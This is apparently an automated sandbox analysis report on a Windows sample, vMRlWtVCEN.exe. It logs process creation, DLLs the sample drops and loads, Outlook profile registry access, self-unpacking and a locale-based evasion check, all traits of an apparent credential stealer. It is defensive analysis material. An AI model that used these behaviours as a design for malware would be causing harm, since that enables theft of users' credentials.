Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5380 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2708 --field-trial-handle=2508,i,6486104539122156540,8403373677948389866,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5380 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5380 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7124 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7272 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5380 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6592 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: mozglue.pdbP source: vMRlWtVCEN.exe, 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: vMRlWtVCEN.exe, 00000000.00000002.2771669388.000000006CCAF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, vMRlWtVCEN.exe, 00000000.00000003.2234993368.0000000004910000.00000004.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2745804809.0000000004830000.00000040.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771899223.000000006CD71000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: vMRlWtVCEN.exe, vMRlWtVCEN.exe, 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, vMRlWtVCEN.exe, 00000000.00000003.2234993368.0000000004910000.00000004.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2745804809.0000000004830000.00000040.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771899223.000000006CD71000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: vMRlWtVCEN.exe, 00000000.00000002.2771669388.000000006CCAF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: vMRlWtVCEN.exe, 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Unpacked PE file: 0.2.vMRlWtVCEN.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Unpacked PE file: 0.2.vMRlWtVCEN.exe.400000.1.unpack

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_0040A090 LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,

0_2_0040A090

Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0041B335 push ecx; ret		0_2_0041B348
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAAB536 push ecx; ret		0_2_6CAAB549

Source: vMRlWtVCEN.exe

Static PE information: section name: .text entropy: 7.789809730094134

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_00419F20 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00419F20

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-78186

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

API coverage: 7.1 %

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004140F0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E530
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE40
